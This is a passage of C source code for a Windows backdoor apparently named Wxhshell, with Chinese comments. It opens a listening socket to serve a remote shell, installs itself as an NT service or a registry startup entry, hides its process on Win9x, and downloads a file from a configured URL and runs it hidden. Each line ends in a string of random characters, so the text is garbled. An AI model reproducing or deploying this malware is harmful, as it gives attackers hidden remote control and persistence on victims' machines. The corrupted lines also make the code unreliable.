ULONG UniqueProcessId; DgLSDKO!
ULONG InheritedFromUniqueProcessId; > HL8hN'q'
} PROCESS_BASIC_INFORMATION; '*KP{"3\
DjT ekn
PROCNTQSIP NtQueryInformationProcess; M\s^>7es
-0)So
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~"*;lT5KX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B43o_H|s
r]=3aebR.
HANDLE hProcess; j{nkus2
PROCESS_BASIC_INFORMATION pbi; kPVP+}cA
N
-]m <z>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y{eZrX|
if(NULL == hInst ) return 0; e<p_u)m
S %"7`xl
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8elT/Wl
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^w<:UE2a!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `f:5w^A
a`w)awb
if (!NtQueryInformationProcess) return 0; Kup-O
u,
>Q~"/-bN)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xm`K@hJ@
if(!hProcess) return 0; JHf}LZu
Zv=p0xH
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (!';
S)"5X)mq
CloseHandle(hProcess); n^/,>7J
qvOBvUR}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ``kKi3TWJ
if(hProcess==NULL) return 0; r)mm8MI!Z
)N-+,Ms
HMODULE hMod; q\[31$i$
char procName[255]; T
T0O %
unsigned long cbNeeded; IEzZ$9,A5
<MN+2^ed&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e<^tY0rR&
0nAeeVz|
CloseHandle(hProcess); 7l Aa6"Y68
eT+MN`
if(strstr(procName,"services")) return 1; // 以服务启动 `bZ_=UAb
RWBmQg^]X
return 0; // 注册表启动 B`hxF(_p/
} LFSOHJj
su=.4JcK
// 主模块 9GZF39w u
int StartWxhshell(LPSTR lpCmdLine) d1j v>tu
{ LM _4.J
SOCKET wsl; B>47Ic
BOOL val=TRUE; ]dDyz[NuvD
int port=0; ,)L.^<
struct sockaddr_in door; &TbnZnv
!wrl.A/P
if(wscfg.ws_autoins) Install(); Dz)bP{iq"
oRu S_X
port=atoi(lpCmdLine); A|>a
Gy
wCvD4C.WH
if(port<=0) port=wscfg.ws_port; c_^H;~^rL
`p^M\!h*O
WSADATA data; qrX6FI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o7 !@WOeZ3
,iPkx(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; GZ'hj_2%<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <6apv(2a
door.sin_family = AF_INET; `hlyN]L
door.sin_addr.s_addr = inet_addr("127.0.0.1"); z|P& 8#txM
door.sin_port = htons(port); wU#Q>ut'%
9I RE@c
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #8/Z)-G
closesocket(wsl); dy`~%lX?
return 1; 1xtbhk]D
} Vxgc|E^J
^U_jeAuk8[
if(listen(wsl,2) == INVALID_SOCKET) { C1G Wi4)
closesocket(wsl); SwP h-6
return 1; 9J]LV'f7
} [=E<iPl
Wxhshell(wsl); .Yu,&HR
WSACleanup(); 50H [u|
oW+R:2I~O
return 0; FySK&
98 O z
} 1g/mzC
Bv=Z*"Fv
// 以NT服务方式启动 rfPJBD{Ve
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *p WswcV/
{ <g %xo"
DWORD status = 0; ;%82Z4
DWORD specificError = 0xfffffff; d#z67Nl6
"{0kg'fU
serviceStatus.dwServiceType = SERVICE_WIN32; ng 6G<hi
serviceStatus.dwCurrentState = SERVICE_START_PENDING; TOuFFR
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =C:0='a
serviceStatus.dwWin32ExitCode = 0; R\+$^G}#6
serviceStatus.dwServiceSpecificExitCode = 0; >$"bwr}'4B
serviceStatus.dwCheckPoint = 0; /cjf 1Dc
serviceStatus.dwWaitHint = 0; H+0 *
A qm0|GlJ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L"b5P2{c
if (hServiceStatusHandle==0) return; j/Kw-h ,5"
Kc{wv/6}T
status = GetLastError(); T@S+5(
if (status!=NO_ERROR) {jq-dL
{ p' gv5\u[w
serviceStatus.dwCurrentState = SERVICE_STOPPED; <n`|zQ
serviceStatus.dwCheckPoint = 0; "M*\,IH
serviceStatus.dwWaitHint = 0; L'6zs:i
serviceStatus.dwWin32ExitCode = status; ?D~uR2+Z
serviceStatus.dwServiceSpecificExitCode = specificError; FQ 4rA 4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )i>KYg w
return; >%[W2L\'
} 5y~[2jB:
kR_[p._
serviceStatus.dwCurrentState = SERVICE_RUNNING; PRUGUHY
serviceStatus.dwCheckPoint = 0; C eg6o&^
serviceStatus.dwWaitHint = 0; u@|yw)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); # \M<6n{
} @rdC/=Y[
fAm2ls7c
// 处理NT服务事件,比如:启动、停止 FPMW"~v
VOID WINAPI NTServiceHandler(DWORD fdwControl) fGfv{4R
{ ~>EVI=?
switch(fdwControl) Av[jFk
{ C^~iz
in
case SERVICE_CONTROL_STOP: BxG;vS3>*e
serviceStatus.dwWin32ExitCode = 0; `<Ftn
serviceStatus.dwCurrentState = SERVICE_STOPPED; k{#:O=
serviceStatus.dwCheckPoint = 0; D *tBbV
serviceStatus.dwWaitHint = 0; 5u!cA4e"
{ doa$
;=wg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SW=p5@Hy{
} z(=:J_N
return; =wQ=`
case SERVICE_CONTROL_PAUSE: 93rE5eGs
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8;5/_BwMu
break; {F4:
case SERVICE_CONTROL_CONTINUE: !`Wu LhB`
serviceStatus.dwCurrentState = SERVICE_RUNNING; $ S49v
break; Xgm7>=l
case SERVICE_CONTROL_INTERROGATE: 7D^A:f
break; -_}EQ9Q
}; ?\yo~=N^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <eI;Jph5
} iOyYf!yg
t&oNJq{
// 标准应用程序主函数 l%IOdco#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i>~?XVU
{ D'&LwU,o
:z:Blp>nK/
// 获取操作系统版本 t Z%?vY~!
OsIsNt=GetOsVer(); 4>W`XH
GetModuleFileName(NULL,ExeFile,MAX_PATH); K$Ph$P@
izxCbbg
// 从命令行安装 I5~DC
if(strpbrk(lpCmdLine,"iI")) Install(); o?3R HP47
cQR1v-Xt
// 下载执行文件 Z*)<E)
if(wscfg.ws_downexe) { y\[=#g1(@
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7PMZt$n
WinExec(wscfg.ws_filenam,SW_HIDE); y{N9.H2
} p%s
D>1k
'tbb"MEi4
if(!OsIsNt) { 76m[o
// 如果时win9x,隐藏进程并且设置为注册表启动 YJy*OS_&
HideProc(); HT&0i,`
StartWxhshell(lpCmdLine); 3%} Ma,
} cm]]9z_<
else A>?fbY2n
if(StartFromService()) oxzNV&D[{`
// 以服务方式启动 bm4W,
StartServiceCtrlDispatcher(DispatchTable); 1mX*0>
else 1 W0; YcT]
// 普通方式启动 0D'Wr(U(
StartWxhshell(lpCmdLine); |^F-.Z
eZ!k'bS=
return 0; Vo%d;>!G\;
}